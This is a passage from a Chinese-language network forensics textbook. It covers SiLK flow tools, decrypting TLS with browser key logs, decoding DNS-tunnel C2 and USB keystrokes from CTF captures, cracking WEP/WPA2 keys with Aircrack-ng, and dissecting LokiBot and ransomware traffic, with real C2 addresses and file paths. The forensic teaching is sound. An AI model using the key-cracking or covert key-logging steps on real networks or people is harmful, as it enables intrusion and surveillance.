SiLK 套件包含一个rwipfix2silk工具，可以将 IPFIX 格式转换为 SiLK 格式。我们可以看到我们通过--silk-output开关定义了输出文件。让我们使用rwfileinfo工具对刚才创建的test.rw文件进行一些基本的文件信息收集，如下图所示：

rwfileinfo工具打印有关 SiLK 流、IP 集（用于管理大量 IP 地址的命令行工具）或袋文件（包含 IPv6 地址的二进制文件格式）的信息，如类型、版本、字节顺序、头部长度、记录长度和记录数。此外，我们还可以使用--field开关后跟数字唯一前缀来指定要打印的字段，例如，要打印计数记录，我们将使用数字7，如以下截图所示：

要查看所有唯一的前缀，使用help命令：rwfileinfo --help。

要查看多个记录文件，我们可以在文件名中指定通配符，如下图所示，执行rwfileinfo *.rw –summary命令将打印以下信息：

在末尾添加--summary开关将显示文件的累计分析结果：

我们可以看到，使用--summary开关给我们提供了总记录数、文件数量和文件大小的综合摘要。

以文本形式查看流量记录

我们可以使用rwcut工具查看 SiLK 记录：

--num-rec开关允许我们仅查看特定的记录集，在我们的例子中是前五个记录。同样，rwcut 工具也提供了多种选项。我们可以使用--fields开关来定义字段，如下所示：

SiLK 工具集的输出非常灵活，可以使用 --delimited 开关进行分隔，如下所示：

我们可以看到，| 是默认的分隔符。然而，我们可以使用 --column-sep 开关来定义我们的分隔符字符，如前面的截图所示。

rwtotal 工具根据指定的键汇总 SiLK 流记录并打印匹配该键的数据。考虑这样一个场景，我们需要统计流向网络中某些系统特定端口的数据，并且可以使用 rwtotal 配合 --dport 开关作为键：

我们可以看到，数据大量传输到端口 80。--skip-zero 开关可以排除零记录的条目。此外，由于 SiLK 被用于大型网络，因此使用 --sip-first-16 及其相关选项来汇总来自特定 VLAN 或子网的数据流变得非常容易，如下截图所示：

我们可以看到，使用源 IP 地址的前 24 位时，我们有四个条目对应 91.189 范围，记录分别为 1、2、30 和 1。然而，如果我们只选择查看前 16 位，统计数据会被覆盖，我们从该特定范围获得 34 条记录。这在处理大型网络设置时非常有用。类似于 rwtotal，rwuniq 使用 --field 开关总结记录，如下截图所示：

rwtotal 工具通常比 rwuniq 工具更快，但功能较少。rwstats 工具根据指定的字段将流记录总结到不同的桶中，对于每个桶，它计算特定的值，然后根据主值显示前后 N 个数值；我们来看一个例子：

我们可以看到，在前面的截图中，我们使用了总体统计数据，并且有关于字节、数据包和每包字节的统计数据。这些统计数据显示了与时间间隔、计数、输入百分位数以及其他各种细节相关的重要信息。让我们看一个更好的例子，它最终会让这一切变得更有意义：

在前面的截图中，我们根据数据包数量过滤了前 20 个源/目标对，并选择显示字段 1 和字段 2，即源 IP 和目标 IP，以数据包为值。我们可以立即看到，输出中的第一个条目具有最高的数据包传输量，占捕获的总流量的 19.72%。

计算前 10 个源和目标端口也是一件简单的事情：

我们可以看到端口80是流量来源最多的端口，占所有数据包的 20.46%，而端口56446是接收数据最多的端口，占所有数据包的 14.76%。我们还可以使用--percentage开关设置阈值百分比，如下图所示：

我们现在拥有基于百分位数的数值。rwcount工具允许我们将记录划分为时间间隔。例如，我们想查看每两分钟流动的数据包总数，可以使用rwcount命令并加上--bin-size开关，以秒为参数，如下图所示：

现在我们可以看到每两分钟的活动记录，并且可以推断出流量在 14:00 到 14:06 之间出现了峰值。在大型环境中，前述工具在定位一天中任何随机时间点的异常流量尖峰时非常有用。

rwfilter——我们称其为过滤流量的瑞士军刀——是这个软件包中最受欢迎的工具之一。让我们看一个例子：

在前面的截图中，我们为源端口80构建了一个过滤器，并将其作为输入传递给 rwstats 工具，工具会显示源 IP、传输的字节数及其百分比。此外，我们设置了 0.5%的阈值。同样，我们可以构建各种类型的过滤器，并将一个工具的输出作为另一个工具的输入。接下来让我们看看如何一起使用rwscan和rwsort：

rwscan 工具检测记录中的扫描活动，而 rwsort 工具读取流记录并按指定字段对其进行排序。我们使用了--scan-model=2，这表示一种用于端口扫描检测的阈值随机行走算法。此外，在输出中，我们可以看到源 IP 地址的开始时间、结束时间、总流量、数据包数量以及在该时间间隔内传输的字节数。

好了，我们现在已涵盖了一小部分 SiLK 工具，接下来会在后续章节中介绍更多。

统计流分析使得法医调查人员的工作变得更加轻松，尤其是在数据的可移植性和操作的便捷性方面。然而，大多数网络调查仍然需要进行完整的数据包捕获以确定有效载荷。Wireshark 还提供了基本的流分析功能，例如协议层级、I/O 图表以及 IPv4 和 IPv6 的统计信息。我们来看几个示例：

浏览到统计|协议层级，我们可以找到协议的详细列表以及相关的字节数、比特/秒、字节的百分比以及数据包的计数。Wireshark 的统计|I/O 图表标签允许我们查看在某些时间间隔内流量的突然上升：

此外，浏览到 统计信息 | IPv4 | 所有地址，将允许我们查看所有相关 IP 地址的统计数据，如下图所示：

类似地，统计信息 | IPv4 | 目的地和端口选项允许我们查看目的地和相关端口的统计数据，如下所示：

我们可以看到，我们可以轻松地快速了解最频繁传输的端点和它使用的端口。类似的选项也适用于 IPv6 流量。来自 统计信息 | HTTP | 数据包计数器 标签的 HTTP 数据包计数器选项可以帮助我们快速记录 Web 应用中的错误以及应用向用户发送的响应类型：

总结

我们将在接下来的章节中以更高效的方式使用统计分析技术。本章的目标是让我们熟悉过程中使用的工具。我们查看了 YAF、SiLK 和 Wireshark 以进行 IPFIX 和 NetFlow 格式的统计数据分析。

在下一章中，我们将学习如何揭示隧道流量并从中获得取证价值。我们将研究各种解码和解密流量会话以及活动加密的方法。

问题

根据本章中的练习，回答以下问题：

  1. 完整数据包捕获与 NetFlow 有什么区别？

  2. 可以通过 NetFlow 和 IPFIX 数据分析哪些类型的攻击？

  3. 使用 GIT 仓库中的 PCAP 文件重复本章中的练习

深入阅读

为了从本章中获得最大收益，请参考以下链接：

第五章：应对隧道技术和加密

在最后几章中，我们看到了如何捕获网络数据包，并使用各种工具和技术深入分析它们。然而，如果通过 DNS 查询传输的数据并没有携带 DNS 负载怎么办？或者，如果观察到的数据包内容毫无意义呢？为了回答这些问题，我们将探讨在有效进行网络取证过程中遇到的一些关键步骤。数据有时会使用 TLS、SSL、自定义加密机制或在无线网络中使用 WEP/WPA2 进行加密。在这一章中，我们将讨论如何应对这些障碍，并获取加密背后的有意义数据。

我们将讨论以下主题：

  • 使用浏览器解密 TLS

  • 解码恶意 DNS 隧道

  • 解密 802.11 数据包

  • 解码键盘捕获

这是最后一章，在进入实际的网络取证练习之前，我们将利用前五章中学到的策略来解码、解密并解决最后五章中的练习。让我们开始吧。

技术要求

为了完成本章中的练习，我们将需要以下内容：

使用浏览器解密 TLS

流行的 Chrome 浏览器的一个隐藏功能是支持将加密流量时使用的对称会话密钥记录到我们选择的文件中。让我们看看当我们尝试捕获一个 TLS 加密的数据包时会发生什么：

我们可以看到网络流量是使用 TLS 加密的，而且底部窗格中的数据对我们来说没有多大意义。幸运的是，像 Chrome 这样的浏览器支持存储 TLS 密钥，这有助于我们解密那些本来无法理解的数据。为了设置日志记录，我们需要通过浏览控制面板并打开系统来导出用户环境变量。

接下来，我们需要选择高级系统设置。在下一步中，我们将选择环境变量...选项。在用户变量部分，我们将通过点击新建来添加SSLKEYLOGFILE变量，并将其值设置为我们选择的任何文件：

确保您创建一个空文件，文件名与变量值中的名称一致；在我们的案例中，它是ssl.log。现在我们已经完成设置，可以让用户浏览网络。上述日志选项将在怀疑某个特定用户时非常有用，通过解密他的 TLS 流量并监控其活动，可以确认这一点。

在 Linux 系统中，可以使用命令 export SSLKEYLOGFILE=PATH_OF_FILE 来导出环境变量。

网络数据包可以在集线器或镜像端口上捕获，但要解密 TLS 会话，日志文件是必需的。一旦正确设置了该文件，管理员和网络取证专家就可以在不同的系统上解密 TLS 会话。让我们看看日志文件中生成了什么样的数据：

我们可以看到该文件包含会话密钥。让我们通过导航到编辑并选择首选项来设置 SSL/TLS 解密。然后向下滚动到SSL / TLS（Wireshark 3.0 版本）中的协议部分：

让我们在（Pre）-Master-Secret 日志文件名字段中设置日志文件的路径并按确定：

我们现在将解密 TLS 会话：

我们可以看到大部分 TLS 流量数据以明文 HTTP 格式显示。很显然，由于安全和隐私问题，我不会提供这个 PCAP 和相关的日志文件。要执行前面的操作，您需要设置环境变量，并指定日志文件的路径，然后浏览一些支持 TLS 的网站。您将获得包含各种会话密钥的日志文件；使用它来解密支持 TLS 的数据。

SSL 在 Wireshark 3.0.0 版本中已被 TLS 替代。

解码恶意 DNS 隧道

在准备本书内容时，我偶然发现了一些出色的 Capture the Flag (CTF) 挑战，这些挑战展示了令人惊叹的练习。其中一个我们接下来要讨论的就是其中之一。我们在之前的章节中涵盖了关于 ICMP shell 的练习，而 ICMP 隧道工作原理相同，即通过一系列 ICMP 请求传递 TCP 相关数据。同样地，DNS 和 SSH 隧道也是有效的；它们将正常的 TCP 流量封装在内部，并通过常见的安全实践。DNS 和 SSH 隧道在绕过机场、咖啡馆等地的强制门户限制时相当流行。然而，某些恶意软件也利用 DNS 对受感染的机器执行命令和控制。让我们看一个示例，演示一些奇怪的 DNS 请求，并探讨我们可以用它们做什么。PCAP 示例来自 HolidayHack 2015，你可以从 github.com/ctfhacker/ctf-writeups/blob/master/holidayhack-2015/part1/gnome.pcap 下载样本 PCAP，感谢 Cory Duplantis，也被称为 ctfhacker。

我们很快将需要 Kali Linux 来进行此练习，Wireshark 的版本是 2.6.6，因此请将 PCAP 下载到 Windows 和 Kali Linux 机器上。

让我们在 Wireshark 中打开 gnome.pcap：

我们可以看到在 PCAP 文件中，我们有一些无线 802.11 数据包和 DNS 查询响应，这相当奇怪，因为没有查询请求，只有查询响应。让我们进一步调查一下 DNS 数据包：

在过滤 DNS 数据包时，我们发现有许多带有事务 ID 为 0x1337 并且其中孕育了类似 base64 的数据的数据包。让我们试着使用 tshark 提取这些数据：

先前的 tshark 命令从 GNOME 读取。PCAP 文件使用 -r 开关，并且我们已经设置了一个关于 DNS 事务 ID 的筛选条件，观察使用 -R 开关的 dns.id==0x1337 筛选器。

此外，我们选择仅使用 -T 字段打印所有数据包的 DNS 响应长度，后跟 -e 表示字段，以及 dns.resp.len 来打印响应长度。然而，我们对收集看起来像 base64 的 TXT 记录本身更感兴趣，而实际上使用 dns.txt 而不是 dns.resp.len 并不起作用。因此，我们需要一种机制来提取这些条目。

使用 Scapy 提取数据包数据

Scapy 是一个用于网络的数据包操作工具，用 Python 编写。它可以伪造或解码数据包，发送到网络上，捕获它们，并匹配请求和响应。我们可以使用 scapy 提取 TXT 记录如下：

From scapy.all import  * 
import base64 

network_packets = rdpcap('gnome.pcap') 
decoded_commands = [] 
decoded_data ="" 
for packet in network_packets: 
    if DNSQR in packet: 
        if packet[DNS].id == 0x1337: 
            decoded_data = base64.b64decode(str(packet[DNS].an.rdata)) 
        if 'FILE:' in decoded_data: 
                        continue 
        else: 
                decoded_commands.append(decoded_data) 
for command in decoded_commands: 
        if len(command)>1: 
                print command.rstrip()

通过仅仅使用 15 行 Python 代码，我们就可以提取我们需要的数据。前两行是头部导入，它们为 Python 脚本提供了来自 base64 和scapy的功能。接下来，我们有以下代码：

network_packets = rdpcap('gnome.pcap') 
decoded_commands = [] 
decoded_data =""

在前面的代码段中，我们正在从当前工作目录读取一个 PCAP 文件gnome.pcap，同时声明一个名为decoded_commands的列表和一个名为decoded_data的字符串变量。接下来，我们有以下代码：

for packet in network_packets: 
    if DNSQR in packet: 
        if packet[DNS].id == 0x1337: 
            decoded_data = base64.b64decode(str(packet[DNS].an.rdata))

for循环将依次遍历数据包，如果数据包是 DNS 类型，它会检查数据包 ID 是否与0x1337匹配。如果匹配，它会使用packet[DNS].an.rdata提取 TXT 记录数据，将其转换为字符串，并从 base64 解码为普通文本。如果解码后的数据包含FILE:，则执行应继续，否则decoded_data将附加到decoded_command中：

if 'FILE:' in decoded_data:
          continue
else:        
          decoded_commands.append(decoded_data) 
for command in decoded_commands: 
          if len(command)>1: 
                  print command.rstrip()

上一部分将解码后的数据附加到decoded_command列表中，并遍历该列表，同时打印出长度大于 1 的所有元素（以避免空行）。运行脚本会给出以下输出：

好吧，这看起来像是iwlist扫描命令的输出。系统命令的输出通常不是 DNS 响应中应该出现的内容。这表明被观察的系统已被攻破，攻击者使用 DNS 进行命令与控制。

解密 802.11 数据包

有时，作为一名取证调查员，你会收到包含 WLAN 数据包的 PCAP 文件，为了从中获取有意义的信息，你需要密钥。在取证场景中，如果你有权限，获取密钥应该不难，但作为取证调查员，你必须为所有可能的情况做好准备。在接下来的场景中，我们有一个来自github.com/ctfs/write-ups-2015/raw/master/codegate-ctf-2015/programming/good-crypto/file.xz的 PCAP 文件，当我们在 Wireshark 中打开它时，立即看到 802.11 数据包：

我们无法确定网络中执行了哪些活动，除非我们去除 802.11 封装。然而，让我们看看通过导航到无线标签并选择 WLAN 流量，Wireshark 提供了哪些统计信息：

我们可以看到无线段的 100%的数据包，以及SSID（网络名称）为cgnetwork，它运行在频道号1上，并且有多个客户端连接到它。为了查看活动，我们需要去除 802.11 封装，而这可以通过提供我们没有的网络密钥来完成。那么，我们该怎么做呢？让我们尝试使用Aircrack-ng套件来查找密钥，它是一个流行的无线网络破解工具（在 Kali Linux 中已经可用）。

使用 Aircrack-ng 进行解密

让我们使用 Aircrack-ng 查找网络密钥。我们输入aircrack-ng，后跟 PCAP 文件：

我们可以看到我们轻松地得到了 WEP 密钥。我们可以使用这个密钥在 Wireshark 中解密数据包：

我们将导航到编辑...并选择首选项。当对话框打开后，我们选择协议并向下滚动到IEEE 802.11，如前面的截图所示。接下来，我们选择解密密钥选项并点击编辑，这将弹出一个单独的对话框，如下所示：

我们将点击+号，添加我们通过 Aircrack-ng 找到的密钥，然后点击确定：

哇！我们可以看到我们成功移除了无线封装。或者，我们也可以使用airdecap，它是aircrack套件中的一个工具来移除封装。我们刚刚看到如何使用无线协议并通过破解 WEP 密钥来去除封装。但是，这可能不适用于 WPA 和 WPA2 标准。让我们来看一个例子：

我们提供了一个 WPA2 明文密码，PCAP 文件已成功解密：

然而，密码破解过程不像 WEP 的情况那样标准化。让我们看看当我们尝试在aircrack-ng套件中破解 PCAP 时会发生什么：

我们可以看到aircrack-ng套件要求我们指定一个可能包含密码的字典文件，这意味着在这种情况下，获得密钥的唯一方法就是暴力破解。让我们看看如何提供一个包含密码列表的字典文件：

Kali 默认提供字典文件，位置在/usr/share/dict/words。

我们可以看到我们已经使用-w开关提供了一个示例字典文件，现在 Aircrack-ng 正在尝试破解密码。因此，在某个时刻，我们将得到以下结果：

太棒了！我们得到了密钥。我们已经看到如何在 Wireshark 中应用这个密钥并进一步分析它。接下来的章节将讨论 802.11 标准，因为我们有一章完整的内容专门讲解它。

解码键盘捕获

又是一天，又有了一个有趣的 PCAP 捕获。你有没有想过 USB 键盘也能揭示很多活动和用户行为？我们将在接下来的章节中探讨这种场景，但现在，先做些准备。我找到一个有趣的封包捕获文件，来自github.com/dbaser/CTF-Write-ups/blob/master/picoCTF-2017/for80-just_keyp_trying/data.pcap。但是，当我下载 PCAP 文件并将其加载到 Wireshark 中时，我看到了以下内容：

嗯，我没见过类似的东西，但我们知道这是 USB 数据。我们还可以看到，剩余列中包含一些字节。这些字节是我们关注的数据；让我们通过运行tshark –r [文件路径]命令来使用tshark收集这些数据，如下所示：

让我们只打印剩余的数据，使用usb.capdata字段：

我们可以看到，每行只有一到两个字节，因此为了解码 USB 按键，我们只需要去除零和分隔符的字节。我们可以通过运行以下命令，删除每行中的空字节和分隔符，如下截图所示：

当我们去除零和分隔符后，剩下的数据就是前述的数据。前面的截图中的字节可以被解释为按键操作，并可以映射到www.usb.org/sites/default/files/documents/hut1_12v2.pdf第 53 页中列出的键位。根据文档，09 映射到 f，0F 映射到 l，04 映射到 a，0a 映射到 g，这意味着输入的前四个字符是 flag。类似地，解析这些字节的工具可以让我们查看用户在 PCAP 捕获文件中输入的所有内容。接下来，我们还可以使用一个基于 Python 的小脚本，利用 Scapy 来解析整个 PCAP 文件：

上述脚本可以从github.com/dbaser/CTF-Write-ups/blob/master/picoCTF-2017/for80-just_keyp_trying/usbkeymap2.py获取，与我们为 DNS 查询所做的非常相似。

概要

在本章中，我们学到了很多内容。我们首先利用客户端 SSL 日志文件来解密 SSL/TLS 会话。接着我们查看了携带命令和控制数据的 DNS 恶意查询响应。我们通过 Aircrack-ng 套件解密 WEP 和 WPA2 密码，并在 Wireshark 中使用解密密钥。我们还通过一段小的 Python 代码，分离并解码数据。最后，我们查看了 USB 键盘捕获文件，解密了在 PCAP 文件记录时用户按下的按键。这是我们的准备阶段的结束，现在我们将进入实践环节。我们将利用前五章中学到的课程和技术，并基于我们获得的知识，尝试解决接下来章节中的挑战。

在下一章中，我们将研究活跃的恶意软件样本，并对其进行网络取证。我们将制定策略，揭示恶意软件部署的根本原因，并找到关键的细节，如网络中的第一次入侵点。

问题与练习

为了从本章中获得最佳效果，请尝试以下内容：

  • 是否有其他浏览器在存储 SSL 密钥日志时表现出与 Chrome 类似的行为？查找答案。

  • 你能解密无线捕获文件吗？如果能，请找出挑战文件wireless_decryption_challenge.pcap的密码，该文件托管在github.com/nipunjaswal/networkforensics/tree/master/Challenges。

  • 尝试将键盘连接到你的笔记本电脑/台式机，并捕获 USB 数据，解码按键。

进一步阅读

查看攻克 CTF 挑战：subscription.packtpub.com/book/networking_and_servers/9781784393335/3/ch03lvl1sec26/nailing-the-ctf-challenge，了解本章涵盖的更多内容。

第三部分：进行网络取证

本节重点介绍通过手动和自动化方法实现与复杂取证场景相关的概念。

本节将涵盖以下章节：

  • 第六章，调查常见、已知和恶意的恶意软件

  • 第七章，调查 C2 服务器

  • 第八章，日志的调查与分析

  • 第九章，WLAN 取证

  • 第十章，自动化证据汇聚与分析

第六章：调查良性、已知和恶性的恶意软件

本章主要讲解在网络取证的背景下调查恶意软件。大多数需要网络取证的事件都会基于恶意软件相关的事件，例如网络入侵、金融犯罪、数据盗窃和命令与控制。大多数攻击者会部署命令与控制恶意软件，以控制被攻陷的计算机，并在内部网络中获得横向移动的杠杆。一般来说，在调查恶意软件时，网络取证与计算机取证是密切相关的。计算机取证调查员将找出系统中发生了哪些变化，以及恶意软件在系统中的位置。然后，他们会找到导致问题的可执行文件，并将其上传到如www.virustotal.com或www.hybrid-analysis.com等网站，以进一步了解恶意软件及其在系统和网络中的行为。如果是新手攻击者使用对称密钥加密数据传输，取证调查员将通过恶意软件分析员对恶意软件进行反向工程，并相应地解密流量。

本章将介绍基于前几章所学技术的恶意软件识别与分析。我们将涵盖以下内容：

  • 在网络上剖析恶意软件

  • 拦截恶意软件以获取乐趣和利润

  • 行为模式与分析

  • 一个真实案例研究——调查网络中的银行木马

在第一个示例中，我们将研究一个著名的特洛伊木马，并尝试弄清楚可能发生了什么。后续示例中，我们将展示如何利用 PCAP 中的证据解密勒索软件加密的文件。最后，我们将展示如何利用流行的恶意软件分析网站分析一个银行木马。在第一个示例中，我们已经假设网络中的一台系统已被感染。你可以从 R3MRUM 的 GitHub 仓库下载 PCAP：github.com/R3MRUM/loki-parse/blob/master/loki-bot_network_traffic.pcap。

技术要求

完成本章中的练习需要以下软件和操作系统：

网络上恶意软件的剖析

让我们按以下方式在 Wireshark 中加载 PCAP 文件：

我们可以看到，PCAP 文件中包含了大量 HTTP 数据。让我们添加列以显示完整的 URI 和 User-Agent 条目，并使用 http.request.uri 过滤器如以下方式过滤请求：

用户代理在恶意软件通信中非常重要，因为它们可能不是流行浏览器使用的标准用户代理。我们可以看到，用户代理是 Mozilla/4.08（Charon；Inferno），并且 URI 包含一个单独的用户，如前面的截图所示。让我们像下面的截图那样在 Google 上调查这个用户代理：

看起来这些 HTTP 请求是由恶意的 LokiBot 生成的，这是一种流行的恶意软件，会在感染的系统上窃取数据。打开前面结果中的第三个链接，该链接来自 packettotal.com，并分析类似的样本：

我们可以看到有许多具有相似行为的条目。前面列表中的重要项目是 HTTP 方法和 User-Agent 列。让我们通过阅读 forums.juniper.net/t5/Security/A-look-into-LokiBot-infostealer/ba-p/315265 和 r3mrum.wordpress.com/2017/07/13/loki-bot-inside-out/ 来进一步研究这个恶意软件。我们可以看到，LokiBot 分析有很多内容需要阅读。从前面的链接中，我们得到的关键点是 HTTP 负载的首字节是 LokiBot 的版本。让我们通过使用 tshark –r /home/deadlist/Desktop/loki-bot_network_traffic.pcap -2 –R http.request.uri –Tfields –e ip.dst –e http.request.full_uri –e http.user_agent –e data –E separator=, | cut –c1-91 命令来查看它是什么。该命令将读取使用 X 开关定义的 PCAP 文件，并显示所有具有 URI 的数据包，使用 http.request.uri 过滤器。命令将打印以逗号分隔的值（-E separator=,），如目标 IP、完整 URI、User-Agent 和数据（-Tfields）。

由于最后一个值是数据字段，因此使用 cut –c1-91 将仅打印数据的前两个字节（字节单词），如下面的截图所示：

我们可以看到，首字节是 1200，这意味着 00 12（18）被 10 除，因此我们得到 LokiBot 版本为 1.8。请看下面的截图：

我们可以看到，在下一个词（接下来的两个字节）中，我们有十六进制值 27、28 和 2b，根据我们读到的信息，这些值定义了数据包的功能，值 27 表示外泄应用程序/凭据数据，28 表示获取 C2 命令，2b 表示外泄键盘记录器数据。这意味着 LokiBot 按照以下顺序进行了以下活动：

  • 外泄了一个应用程序的凭据数据两次

  • 发出了新命令，即外泄键盘记录器数据

  • 发送了键盘记录器数据

最后，让我们来看看我们到目前为止获得的数据：

  • 感染的系统：172.16.0.130

  • 命令与控制服务器：185.141.27.187

  • 使用的恶意软件：LokiBot

  • 恶意软件检测：用户代理，HTTP 方法（POST）

  • 恶意软件活动：应用程序数据外泄和键盘记录

了解了恶意软件的基本信息后，让我们深入探讨，通过了解其模式来找到更多有关外泄数据的信息。

查找网络模式

我们知道该恶意软件正在窃取某些应用程序数据，但我们不知道具体是哪个应用程序以及哪些数据被窃取了。让我们尝试通过查看标准 Wireshark 显示中的 HTTP 负载（最低面板）来找出这些信息，具体如下：

从前面的截图中，我们可以看到负载从 LokiBot 版本 18（十进制，16 进制为 12）开始，我们需要将其除以 10 来获取准确的版本号。接下来，我们看到 27 是应用程序凭据数据外泄的标识符。接着，第一个词表示宽度为零，意味着负载值将作为普通字符串解包。然后，我们有一个词值表示长度为 0a，也就是十进制的 10。我们可以看到长度为 10 字节，表示二进制 ID 为 XXXXX11111。接下来，我们看到下一个宽度和长度，这将表示系统用户名；我们看到宽度为 1，长度为 6。由于宽度为 1，我们将以十六进制解包此数据。因此，每两个字节我们得到用户名为 REM。接下来，我们看到系统名称，宽度为 1，长度为 1c，表示 28。接下来的 28 字节表示感染的系统名称是REMWORKSTATION。按照相同的标记法，接下来的值表示域名，仍然是REMWORKSTATION。让我们看看下一个十六进制部分：

我们接下来四个字节是屏幕宽度，紧接着的四个字节是屏幕高度。我们检查了本地管理员和内建管理员，前面的截图显示，在接下来的四个字节中，两者的值都是 1，表示是的。接下来的两个字节如果操作系统是 64 位，则值设为 1，但由于不是 64 位系统，所以设置为 0。接下来的八个字节定义了操作系统的主版本号和次版本号，以及os_bug补丁变量，分别为6,3,1,107。这意味着我们可以将操作系统表示为6.3.1.107，即 Windows 8。此外，这里存储的值是小端格式，意味着最低有效字节在最前面。在接下来的部分，我们有以下内容：

我们可以看到接下来的两个字节是表示首次连接的值为零。这意味着受害者是第一次连接。接下来，两个字节表示被窃取的数据是经过压缩的，而接下来的两个字节则定义了被窃取的数据是否已编码，紧随其后的这两个字节定义了编码类型。接下来的四个字节表示原始被窃取数据的长度，为 8,545 字节。中间有一个分隔符，接下来是字符串的宽度和长度：

如前面的截图所示，我们有一个 48 字节长的互斥量（mutex）值，用于 LokiBot。接下来，LokiBot 按照以下方式使用该互斥量：

  • 互斥量：B7E1C2CC98066B250DDB2123

根据这个值，LokiBot 的文件将位于以下位置：

  • 哈希数据库："%APPDATA%\\C98066\\6B250D.hdb"

  • 键盘记录数据库："%APPDATA%\\C98066\\6B250D.kdb"

  • 锁定文件："%APPDATA%\\C98066\\6B250D.lck"

  • 恶意软件执行文件："%APPDATA%\\C98066\\6B250D.exe"

如果我们仔细观察，可以看到目录名从互斥量的第 8 个字符到第 13 个字符，而文件名则从第 13 个字符到第 18 个字符。

好吧！这网络上传输了太多信息。接下来看看是什么：

接下来是密钥长度、密钥本身以及压缩数据的长度。我们现在知道压缩数据的长度是 2,310 字节，具体如下所示：

我们可以看到一些值是 XML 和 HTML 格式的。但是，我们仍然需要解压缩这些数据。通过研究恶意软件执行文件（在执行文件上运行strings命令），我们会发现其中一个二进制可执行文件中的字符串包含 LZSS，这是一个流行的数据压缩编码方案。你可以在github.com/maxim-zhao/aplib.py/blob/master/aplib.py找到更多关于压缩和解压缩的信息。

使用该库，我们可以从 Wireshark 捕获的数据中复制字节，并将其作为输入传递给库中定义的解压函数。我们可以按照以下步骤解压数据：

好的！看起来被窃取的数据来自 FileZilla，而且看起来像是一个配置文件。对其他数据包进行类似的分析，比如包含 2B（键盘记录器）类型的包，我们会得到类似的数据，解压后它看起来会类似于以下内容：

现在我们也得到了键盘记录器数据。那么，到目前为止我们知道了什么呢？

通过处理前述样本，我们成功收集到了以下 妥协指示器（IOC）信息：

  • 感染的系统: 172.16.0.130

  • 感染的用户: REM

  • 感染系统的主机名: REMWORKSTATION

  • 感染域: REMWorkstation

  • 操作系统架构: 32 位

  • 屏幕分辨率: 3440 x 1440

  • Windows OS NT 版本: 6.3.1 (Windows 8)

  • 命令和控制服务器: 185.141.27.187

  • 使用的恶意软件: LokiBot

  • 恶意软件检测: 用户代理，HTTP 方法（POST）

  • 恶意软件活动: FileZilla 上的应用程序数据外泄，键盘记录

  • 恶意软件版本: 1.8

  • 恶意软件压缩: LZSS

  • 恶意软件编码: 无

  • 恶意软件文件名: %APPDATA%\\C98066\\6B250D.*

真棒！仅仅通过分析 PCAP 文件，我们已经收集了大量信息。接下来让我们看看更多的例子。

用于之前分析的 PCAP 文件可以从 github.com/R3MRUM/loki-parse 下载。此外，R3MRUM 还为此分析开发了一个自动化脚本，您可以在 git 仓库中找到该脚本。这个脚本不仅有助于您的分析，还能提高您的 Python 技能。

在处理这个样本时，我联系了 R3MRUM，并讨论了我们之前分析的 LokiBot 样本。他告诉我，XXXXX11111 二进制 ID 似乎是 LokiBot 的开发版本，而 ckav.ru ID 是在生产中使用的版本。此外，R3MRUM 提供了关于 LokiBot 的完整白皮书链接：r3mrum.files.wordpress.com/2017/07/loki_bot-grem_gold.pdf。

在之前的练习中，我们处理了一个未知的样本，并研究了它的 IOC。我们不仅能够检测到感染的基本信息，还能够解码它的通信。我们还找到了外泄的数据并发送给了攻击者。接下来，我们将在后续部分处理一些其他样本，比如勒索软件和银行木马。

拦截恶意软件以获得乐趣和利润

在本次练习中，我们将分析勒索病毒。勒索病毒可以在网络中造成严重破坏，近期我们已经见过很多例子。像 WannaCry、Petya 和 Locky 这样的勒索病毒已在全球范围内造成巨大破坏。此外，当前 PyLocky 勒索病毒是攻击者最常用的病毒之一。一些勒索病毒通常会在初次运行时将密钥发送到服务器，这正是我们网络取证人员介入的时机。

PyLocky 勒索病毒的解密使用 PCAP 数据

最近，思科推出了 PyLocky 解密器（github.com/Cisco-Talos/pylocky_decryptor），它通过搜索 PCAP 数据来解密系统上的文件。PyLocky 向控制服务器发送一个POST请求，其中包含以下参数：

PCNAME=NAME&IV=KXyiJnifKQQ%3D%0A&GC=VGA+3D&PASSWORD=CVxAfel9ojCYJ9So&CPU=Intel%28R%29+Xeon%28R%29+CPU+E5-1660+v4+%40+3.20GHz&LANG=en_US&INSERT=1&UID=XXXXXXXXXXXXXXXX&RAM=4&OSV=10.0.16299+16299&MAC=00%3A00%3A00%3A00%3A45%3A6B&OS=Microsoft+Windows+10+Pro

我们可以看到，iv（初始化向量）和密码作为参数出现。如果系统感染时网络被记录，我们可以利用这些信息轻松解密文件。接下来让我们看看 PyLocky 的解密代码，如下所示：

我们可以看到，PyLocky 解密器利用 IV 和密码解密使用 PyLocky 勒索病毒加密的文件，通常这种方法也适用于多种勒索病毒类型。PyLocky 使用 DES3 加密文件，而这些文件可以解密回来。

解密隐蔽眼泪勒索病毒

让我们看另一个例子，涉及隐蔽眼泪勒索病毒。假设在一个 Windows 10 系统上，隐蔽眼泪勒索病毒已加密文件，情况非常糟糕，如下图所示：

看起来文件已经被加密。让我们尝试打开一个文件，如下所示：

是的——文件内容已被加密。幸运的是，我们手头有完整捕获的数据 PCAP。让我们开始分析：

我们可以看到我们有一个相当大的 PCAP 文件，其中包含大量 HTTP 数据。由于我们知道恶意软件通常在用户代理方面存在问题，我们可以像之前的示例一样，在 Wireshark 中显示完整的用户代理和 URI 数据：

我们可以看到，大多数数据来自微软域名，并且看起来很可能是用于 Windows 更新的。让我们取消选择这个用户代理，看看剩下的是什么：

我们可以看到，通过使用!(http.user_agent == "Microsoft-Delivery-Optimization/10.0") && http.request.full_uri && !ssdp 过滤器，剩下的只有少数几个数据包。接下来让我们对这些数据包进行分析：

我们看到一个包含机器名称和某些字符串的GET请求被发送到一个域名。这可能是密码吗？我们需要检查一下。让我们从github.com/goliate/hidden-tear下载解密工具：

从互联网上下载或从 PCAP 中提取的任何可执行文件都必须仅在隔离的环境中操作，例如虚拟机。由于大多数示例是活动的恶意软件样本，请勿在主机上执行它。

输入我们从 PCAP 分析中获得的密码，步骤如下：

一旦点击“解密我的文件”按钮，我们看到被锁定的文件再次被解锁：

现在我们可以看到文件已经成功解密。

欲了解更多关于查找勒索病毒密钥的信息，请参阅sensorstechforum.com/use-wireshark-decrypt-ransomware-files/。

行为模式与分析

对于法证网络调查员来说，找出恶意软件的行为和网络模式非常重要。假设你已从事件响应团队收到几个二进制文件（可执行文件）及其哈希值（签名），这些文件可能携带恶意软件。然而，PE/COFF 可执行文件的分析通常由恶意软件分析师和逆向工程师进行。那么，你能对 PE 可执行文件做什么呢？你无需在一夜之间学习逆向工程和恶意软件分析就能分析该样本。

